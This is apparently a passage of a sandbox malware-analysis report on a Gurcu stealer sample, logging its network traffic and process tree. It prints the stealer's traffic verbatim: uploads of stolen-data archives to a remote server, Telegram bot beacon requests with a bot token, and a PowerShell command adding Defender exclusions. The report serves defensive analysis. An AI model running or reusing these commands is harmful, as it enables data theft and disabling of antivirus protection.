Feb 10, 2024 16:17:08.921875000 CET	1286	IN	Data Raw: 75 6c 65 48 74 37 6d 48 68 37 65 33 70 2f 65 33 74 35 66 33 74 37 51 33 39 37 65 7a 42 2f 65 33 76 69 66 6e 74 37 69 6e 35 37 65 38 42 39 65 33 74 76 66 48 74 37 62 6e 78 37 65 79 42 38 65 33 74 36 63 33 74 37 57 58 4e 37 65 31 68 7a 65 33 74 64 Data Ascii: uleHt7mHh7e3p/e3t5f3t7Q397ezB/e3vifnt7in57e8B9e3tvfHt7bnx7eyB8e3t6c3t7WXN7e1hze3tdc3t7XHN7e793e3uRd3t7RnZ7e79oe3s9b3t72297e0Nue3uEbnt7e217e3dse3tJbHt7C2x7ewhse3saZXt762R7e+pke3uAW3t7+Vh7e2tce3uwUHt7phh7e/wSe3vyEnt78RJ7e/ASe3srMH19e3t7eysweH9ve
Feb 10, 2024 16:17:08.921915054 CET	1286	IN	Data Raw: 65 33 74 39 55 51 55 4a 4e 52 4a 37 43 31 4e 36 65 33 74 39 43 63 38 65 65 77 73 4a 66 78 4e 37 43 31 4e 36 65 33 74 39 55 79 31 37 65 33 31 52 4f 51 6c 2f 45 33 73 4c 55 33 70 37 65 33 33 37 37 33 74 37 66 31 46 56 43 47 35 36 65 33 33 37 32 58 Data Ascii: e3t9UQUJNRJ7C1N6e3t9Cc8eewsJfxN7C1N6e3t9Uy17e31ROQl/E3sLU3p7e33773t7f1FVCG56e3372Xt7f1ElewXae3t/U3R6e33723t7f1MCentxe1EZZD32Ant7el6rvHt7f1Mse3tx+917e39R3QVOe3t/CYcPewtTent7fVP3e3tx+9B7e38JYQ57C1N6e3t9+9d7e39R3QluDHsLU3p7e3371nt7fwVPe3t/CZsMewt
Feb 10, 2024 16:17:08.921937943 CET	1286	IN	Data Raw: 4e 6c 68 58 39 6f 66 32 70 2f 51 62 61 45 68 49 51 46 64 33 74 37 66 33 31 38 35 58 74 39 62 43 4e 78 66 51 56 33 65 33 74 2f 39 52 4b 46 66 32 68 2b 61 6e 35 42 32 49 53 45 68 46 46 37 65 32 68 4c 65 48 74 4e 65 33 74 37 65 48 74 37 61 6e 74 35 Data Ascii: NlhX9of2p/QbaEhIQFd3t7f3185Xt9bCNxfQV3e3t/9RKFf2h+an5B2ISEhFF7e2hLeHtNe3t7eHt7ant5Y2IIWHt7cXF9eG1Tf3t7fXB8eF5BfXt7e10FWnt7cQZ9e3t/fHkGf3t7f3x3Q3t7e3tzUXt7aEt/e0N7e3t/e3tqewhae3t9XnheQX17e3tdBVp7e3EGfXt7f155Bn57e39eYwZye3t/Xn8GcXt7f3F9cEN7e3t7f
Feb 10, 2024 16:17:08.921962976 CET	1286	IN	Data Raw: 59 58 74 37 63 58 46 39 63 32 30 55 53 6e 74 37 63 57 32 46 65 6d 68 79 61 6e 4a 43 63 33 74 37 65 33 31 7a 55 32 46 37 65 33 46 78 66 31 4e 4a 65 33 74 78 64 6e 74 79 61 48 46 74 61 48 42 44 55 6e 74 37 65 32 70 78 61 6e 44 68 61 48 64 35 65 47 Data Ascii: YXt7cXF9c20USnt7cW2FemhyanJCc3t7e31zU2F7e3Fxf1NJe3txdntyaHFtaHBDUnt7e2pxanDhaHd5eGp3fWp3U0h7e3FTYXt7cQnGe3sLU3x7e31danBsI2hwanBqcfUSRLeEhIR/U097e3Fof3tqf2h2bWh1Q2Z7e3tqdmp14Wh0eXhqdH0Jxnt7C1Nxe3t9e2p1bCNodWp1anb1EkSjhISEUXtoS397XXp7e3B7e2p7eQB
Feb 10, 2024 16:17:08.921992064 CET	1286	IN	Data Raw: 74 37 65 32 70 71 61 6d 74 35 41 48 78 37 65 33 39 7a 5a 46 55 6a 61 6e 45 6a 61 6e 41 6a 61 6e 63 55 4f 33 74 37 63 51 5a 6e 65 33 74 2f 61 6e 42 74 68 58 6c 6f 62 6d 70 75 51 6d 4e 37 65 33 74 37 65 58 6b 41 66 48 74 37 66 33 4e 6b 56 53 4e 71 Data Ascii: t7e2pqamt5AHx7e39zZFUjanEjanAjancUO3t7cQZne3t/anBthXlobmpuQmN7e3t7eXkAfHt7f3NkVSNqcSNqalNge3t9e3t9amoUV3t7cXtzZFVqcSNqcCNqdyMjd3tzeQB8e3t/9RKFf2htam1Bp4aEhH1obEN7e3t7amxRe3t7YEt4e+Z7e3t2e3tqe39TOnt7cXF9Uzl7e3FthXp3c0J8e3t7fVM4e3txXX9TOXt7cXZyQ
Feb 10, 2024 16:17:08.922015905 CET	1286	IN	Data Raw: 58 58 74 37 65 32 6c 2b 55 79 6c 37 65 33 46 42 32 34 53 45 68 4b 5a 30 65 33 74 37 61 58 36 46 62 58 68 37 65 32 41 55 55 6e 74 37 63 58 75 6e 65 53 73 55 63 48 74 37 66 58 74 71 66 78 52 77 65 33 74 39 65 33 6b 72 41 48 39 37 65 33 39 54 4b 48 Data Ascii: XXt7e2l+Uyl7e3FB24SEhKZ0e3t7aX6FbXh7e2AUUnt7cXuneSsUcHt7fXtqfxRwe3t9e3krAH97e39TKHt7cXt8eSsAf3t7f1Mve3txe3l5KwB/e3t/eSsAcnt7f1N+e3t9KnumcXt7e117bWhypkd7e3umVHt7e3t8Uy57e3FocWpxQnx7e3t8Uyh7e3F7c1Mue3txaHBqcEJ8e3t7c1Moe3txe3unbGhyQ3t7e3tqclF7e3t
Feb 10, 2024 16:17:08.922040939 CET	1286	IN	Data Raw: 74 78 65 33 6b 41 66 6e 74 37 66 33 4c 31 45 71 70 54 49 33 74 37 63 57 31 6a 46 45 35 37 65 33 46 37 65 51 42 2b 65 33 74 2f 63 2f 55 53 71 6c 4d 6a 65 33 74 78 62 57 4d 55 54 6e 74 37 63 58 74 35 41 48 35 37 65 33 39 74 55 79 4e 37 65 33 46 74 Data Ascii: txe3kAfnt7f3L1EqpTI3t7cW1jFE57e3F7eQB+e3t/c/USqlMje3txbWMUTnt7cXt5AH57e39tUyN7e3FtYxROe3txe3kAfnt7f21TI3t7cW1jFE57e3F7eQB+e3t/bVMje3txbWMUTnt7cXt5AH57e39be/p7e1Mje3txbWMUTnt7cXt5AH57e395eABue3t/U257e31TInt7cW1hFE57e3F7eQB+e3t/fG189RIUTnt7cXt5A
Feb 10, 2024 16:17:08.922065973 CET	1286	IN	Data Raw: 68 48 74 37 65 79 54 75 65 41 42 6a 65 33 74 2f 5a 52 38 61 42 6d 4e 37 65 33 39 37 61 6e 4e 73 49 32 68 7a 61 6e 4d 56 66 42 47 46 66 32 68 79 61 6e 4a 42 75 59 53 45 68 48 4e 38 49 33 64 37 66 47 32 46 65 57 68 78 61 6e 46 42 2f 34 53 45 68 48 Data Ascii: hHt7eyTueABje3t/ZR8aBmN7e397anNsI2hzanMVfBGFf2hyanJBuYSEhHN8I3d7fG2FeWhxanFB/4SEhHIUQ3t7cXt4AGp7e39lhXpocGpwQnx7e3tyFF97e3F7eF4AY3t7f24aBmN7e394cxUGaHt7f3h5AH57e38UUXt7cWp/IhYVBm97e394AGp7e39lO1J7e3t5AHl7e39BZXt7e38UXnt7cUJoe3t7eABve3t/eABoe3t
Feb 10, 2024 16:17:08.922091961 CET	1286	IN	Data Raw: 74 2f 66 67 42 76 65 33 74 2f 62 68 57 46 65 6d 68 79 61 6e 4a 43 61 33 74 37 65 33 35 34 66 57 52 76 49 31 4d 54 65 33 74 78 42 6d 39 37 65 33 39 2b 41 47 35 37 65 33 39 75 46 59 56 36 61 48 46 71 63 55 4a 72 65 33 74 37 66 6e 68 39 5a 47 63 6a Data Ascii: t/fgBve3t/bhWFemhyanJCa3t7e354fWRvI1MTe3txBm97e39+AG57e39uFYV6aHFqcUJre3t7fnh9ZGcjUxN7e3EGbnt7f3t7an9kcYV6aHBqcEIIe3t7e3h9ZSNTQHt7cXB4fWRxI1NAe3txd3xsO3F7e3tzZGOFekN6e3t7bWh3andCOnt7e3t+eH1kdyNTE3t7cVMSe3txBmJ7e39+eH1kbyNTE3t7cVMSe3txBmB7e39+e
Feb 10, 2024 16:17:09.198327065 CET	1286	IN	Data Raw: 65 33 46 6f 63 48 74 71 64 6d 70 33 46 53 4e 35 41 48 35 37 65 33 38 55 49 58 74 37 63 59 56 36 62 59 56 36 61 47 6c 71 61 55 4a 38 65 33 74 37 62 58 43 6d 42 48 74 37 65 33 6c 71 63 67 5a 7a 65 33 74 2f 65 57 70 78 72 2f 59 6f 65 33 74 36 42 6e Data Ascii: e3FocHtqdmp3FSN5AH57e38UIXt7cYV6bYV6aGlqaUJ8e3t7bXCmBHt7e3lqcgZze3t/eWpxr/Yoe3t6Bnx7e395AH57e39qcG0UM3t7cV15AH57e395AHx7e39tanESFDJ7e3FdeQB+e3t/anBtFDN7e3FdbHCmVXt7e3t5AH57e38UUXt7cW0RhXloaGpoQUmFhIR7pnN7e3tde3ume3t7e21wQ3t7e3t8UTpne3t7e3t7Gnt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	208.95.112.1	80	7620	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Timestamp	Bytes transferred	Direction	Data
Feb 10, 2024 16:17:17.644812107 CET	85	OUT	GET /line?fields=query,country HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 10, 2024 16:17:17.759489059 CET	197	IN	HTTP/1.1 200 OK Date: Sat, 10 Feb 2024 15:17:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 27 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 55 6e 69 74 65 64 20 53 74 61 74 65 73 0a 38 31 2e 31 38 31 2e 35 37 2e 37 34 0a Data Ascii: United States81.181.57.74

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	185.119.118.59	8080	7620	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Timestamp	Bytes transferred	Direction	Data
Feb 10, 2024 16:17:18.446048021 CET	146	OUT	PUT /41r0r_user%40468325_report.wsr HTTP/1.1 Host: 185.119.118.59:8080 Content-Length: 163338 Expect: 100-continue Connection: Keep-Alive
Feb 10, 2024 16:17:18.661967039 CET	25	IN	HTTP/1.1 100 Continue
Feb 10, 2024 16:17:19.525814056 CET	382	IN	HTTP/1.1 200 OK Content-Type: text/plain Server: Transfer.sh HTTP Server X-Made-With: <3 by DutchCoders X-Served-By: Proudly served by DutchCoders X-Url-Delete: http://185.119.118.59:8080/T4zYCSr1rm/41r0r_user@468325_report.wsr/DvYVp3kcgTvwcwH3NgtP Date: Sat, 10 Feb 2024 15:17:19 GMT Content-Length: 67 Data Raw: 68 74 74 70 3a 2f 2f 31 38 35 2e 31 31 39 2e 31 31 38 2e 35 39 3a 38 30 38 30 2f 54 34 7a 59 43 53 72 31 72 6d 2f 34 31 72 30 72 5f 6a 6f 6e 65 73 40 34 36 38 33 32 35 5f 72 65 70 6f 72 74 2e 77 73 72 Data Ascii: http://185.119.118.59:8080/T4zYCSr1rm/41r0r_user@468325_report.wsr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	208.95.112.1	80	8072	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Timestamp	Bytes transferred	Direction	Data
Feb 10, 2024 16:17:18.650660992 CET	85	OUT	GET /line?fields=query,country HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 10, 2024 16:17:18.827989101 CET	197	IN	HTTP/1.1 200 OK Date: Sat, 10 Feb 2024 15:17:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 27 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 55 6e 69 74 65 64 20 53 74 61 74 65 73 0a 38 31 2e 31 38 31 2e 35 37 2e 37 34 0a Data Ascii: United States81.181.57.74

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	185.119.118.59	8080	8072	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Timestamp	Bytes transferred	Direction	Data
Feb 10, 2024 16:17:19.412488937 CET	146	OUT	PUT /hkLYW_user%40468325_report.wsr HTTP/1.1 Host: 185.119.118.59:8080 Content-Length: 163024 Expect: 100-continue Connection: Keep-Alive
Feb 10, 2024 16:17:19.627897024 CET	25	IN	HTTP/1.1 100 Continue
Feb 10, 2024 16:17:20.493516922 CET	382	IN	HTTP/1.1 200 OK Content-Type: text/plain Server: Transfer.sh HTTP Server X-Made-With: <3 by DutchCoders X-Served-By: Proudly served by DutchCoders X-Url-Delete: http://185.119.118.59:8080/s9VbfeJdTs/hkLYW_user@468325_report.wsr/0CQs5G5XLhl4ycaHU3zO Date: Sat, 10 Feb 2024 15:17:20 GMT Content-Length: 67 Data Raw: 68 74 74 70 3a 2f 2f 31 38 35 2e 31 31 39 2e 31 31 38 2e 35 39 3a 38 30 38 30 2f 73 39 56 62 66 65 4a 64 54 73 2f 68 6b 4c 59 57 5f 6a 6f 6e 65 73 40 34 36 38 33 32 35 5f 72 65 70 6f 72 74 2e 77 73 72 Data Ascii: http://185.119.118.59:8080/s9VbfeJdTs/hkLYW_user@468325_report.wsr

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	149.154.167.220	443	7620	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-10 15:17:20 UTC	897	OUT	GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%20%23Beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EReport%20size%3A%3C%2Fb%3E%200.16Mb%0A&reply_markup=%7B%22inline_keyboard%22%3A%5B%5B%7B%22text%22%3A%22Download%22%2C%22url%22%3A%22http%3A%2F%2F185.119.118.59%3A8080%2Fget%2FT4zYCSr1rm%2F41r0r_user%40468325_report.wsr%22%7D%2C%7B%22text%22%3A%22Open%22%2C%22url%22%3A%22http%3A%2F%2F127.0.0.1%3A18772%2FhandleOpenWSR%3Fr%3Dhttp%3A%2F%2F185.119.118.59%3A8080%2Fget%2FT4zYCSr1rm%2F41r0r_user%40468325_report.wsr%22%7D%5D%5D%7D&parse_mode=HTML HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-02-10 15:17:20 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 10 Feb 2024 15:17:20 GMT Content-Type: application/json Content-Length: 1193 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-02-10 15:17:20 UTC	1193	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 33 35 32 32 35 31 35 39 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4b 70 61 69 64 56 69 72 75 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4b 70 61 69 64 56 69 72 75 73 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 31 36 39 37 37 33 33 34 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 64 38 33 64 5c 75 64 63 62 30 42 69 67 67 65 73 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 52 61 63 6b 20 5c 75 32 37 30 38 5c 75 66 65 30 66 20 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 38 22 2c 22 75 73 65 72 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":19,"from":{"id":6352251597,"is_bot":true,"first_name":"KpaidVirus","username":"KpaidVirus_Bot"},"chat":{"id":5169773349,"first_name":"\ud83d\udcb0Biggest","last_name":"Rack \u2708\ufe0f \ud83c\uddfa\ud83c\uddf8","username

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	149.154.167.220	443	8072	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-10 15:17:21 UTC	897	OUT	GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%20%23Beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EReport%20size%3A%3C%2Fb%3E%200.16Mb%0A&reply_markup=%7B%22inline_keyboard%22%3A%5B%5B%7B%22text%22%3A%22Download%22%2C%22url%22%3A%22http%3A%2F%2F185.119.118.59%3A8080%2Fget%2Fs9VbfeJdTs%2FhkLYW_user%40468325_report.wsr%22%7D%2C%7B%22text%22%3A%22Open%22%2C%22url%22%3A%22http%3A%2F%2F127.0.0.1%3A18772%2FhandleOpenWSR%3Fr%3Dhttp%3A%2F%2F185.119.118.59%3A8080%2Fget%2Fs9VbfeJdTs%2FhkLYW_user%40468325_report.wsr%22%7D%5D%5D%7D&parse_mode=HTML HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-02-10 15:17:21 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 10 Feb 2024 15:17:21 GMT Content-Type: application/json Content-Length: 1193 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-02-10 15:17:21 UTC	1193	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 33 35 32 32 35 31 35 39 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4b 70 61 69 64 56 69 72 75 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4b 70 61 69 64 56 69 72 75 73 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 31 36 39 37 37 33 33 34 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 64 38 33 64 5c 75 64 63 62 30 42 69 67 67 65 73 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 52 61 63 6b 20 5c 75 32 37 30 38 5c 75 66 65 30 66 20 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 38 22 2c 22 75 73 65 72 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":20,"from":{"id":6352251597,"is_bot":true,"first_name":"KpaidVirus","username":"KpaidVirus_Bot"},"chat":{"id":5169773349,"first_name":"\ud83d\udcb0Biggest","last_name":"Rack \u2708\ufe0f \ud83c\uddfa\ud83c\uddf8","username

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49745	149.154.167.220	443	7620	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-10 15:17:21 UTC	604	OUT	GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%23Heartbeat%20received%20from%20beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EServing%20on%3A%3C%2Fb%3E%20%3Ci%3Ehttps%3A%2F%2Fe483612b93e055308d0c85f365c474ee.serveo.net%3C%2Fi%3E%0A%0A&parse_mode=HTML HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-02-10 15:17:22 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 10 Feb 2024 15:17:21 GMT Content-Type: application/json Content-Length: 1158 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-02-10 15:17:22 UTC	1158	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 33 35 32 32 35 31 35 39 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4b 70 61 69 64 56 69 72 75 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4b 70 61 69 64 56 69 72 75 73 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 31 36 39 37 37 33 33 34 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 64 38 33 64 5c 75 64 63 62 30 42 69 67 67 65 73 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 52 61 63 6b 20 5c 75 32 37 30 38 5c 75 66 65 30 66 20 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 38 22 2c 22 75 73 65 72 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":21,"from":{"id":6352251597,"is_bot":true,"first_name":"KpaidVirus","username":"KpaidVirus_Bot"},"chat":{"id":5169773349,"first_name":"\ud83d\udcb0Biggest","last_name":"Rack \u2708\ufe0f \ud83c\uddfa\ud83c\uddf8","username

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49746	149.154.167.220	443	8072	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-10 15:17:22 UTC	604	OUT	GET /bot6352251597:AAF6uxZ1z4xhnUTnQP5u36WV5EeOgP0W_YY/sendMessage?chat_id=5169773349&text=%23Default%20%23Heartbeat%20received%20from%20beacon%0A%0A%3Cb%3EOS%3A%3C%2Fb%3E%20%3Ci%3EMicrosoft%20Windows%20NT%206.2.9200.0%3C%2Fi%3E%0A%3Cb%3ECountry%3A%3C%2Fb%3E%20%3Ci%3EUnited%20States%3C%2Fi%3E%0A%3Cb%3EUsername%3A%3C%2Fb%3E%20%3Ci%3Euser%3C%2Fi%3E%0A%3Cb%3ECompname%3A%3C%2Fb%3E%20%3Ci%3E468325%3C%2Fi%3E%0A%0A%3Cb%3EServing%20on%3A%3C%2Fb%3E%20%3Ci%3Ehttps%3A%2F%2Fe2111f95f52ba8be6b2d3394e38b1722.serveo.net%3C%2Fi%3E%0A%0A&parse_mode=HTML HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-02-10 15:17:22 UTC	389	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 10 Feb 2024 15:17:22 GMT Content-Type: application/json Content-Length: 1158 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-02-10 15:17:22 UTC	1158	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 33 35 32 32 35 31 35 39 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4b 70 61 69 64 56 69 72 75 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4b 70 61 69 64 56 69 72 75 73 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 31 36 39 37 37 33 33 34 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 64 38 33 64 5c 75 64 63 62 30 42 69 67 67 65 73 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 52 61 63 6b 20 5c 75 32 37 30 38 5c 75 66 65 30 66 20 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 38 22 2c 22 75 73 65 72 6e 61 6d 65 Data Ascii: {"ok":true,"result":{"message_id":22,"from":{"id":6352251597,"is_bot":true,"first_name":"KpaidVirus","username":"KpaidVirus_Bot"},"chat":{"id":5169773349,"first_name":"\ud83d\udcb0Biggest","last_name":"Rack \u2708\ufe0f \ud83c\uddfa\ud83c\uddf8","username

Target ID:	0
Start time:	16:16:54
Start date:	10/02/2024
Path:	C:\Users\user\Desktop\jqOHOuPMJP.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\jqOHOuPMJP.exe
Imagebase:	0x940000
File size:	14'336 bytes
MD5 hash:	7E9A93C69AECFC2BBDA9470FBD4556DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:16:59
Start date:	10/02/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user'
Imagebase:	0x650000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:16:59
Start date:	10/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:17:00
Start date:	10/02/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:17:09
Start date:	10/02/2024
Path:	C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe"
Imagebase:	0x1f995eb0000
File size:	131'528 bytes
MD5 hash:	869F82DF0992DC2F5155D8F69FD1C9CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GurcuStealer, Description: Yara detected Gurcu Stealer, Source: 00000004.00000002.1822502459.000001F997DF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:17:12
Start date:	10/02/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
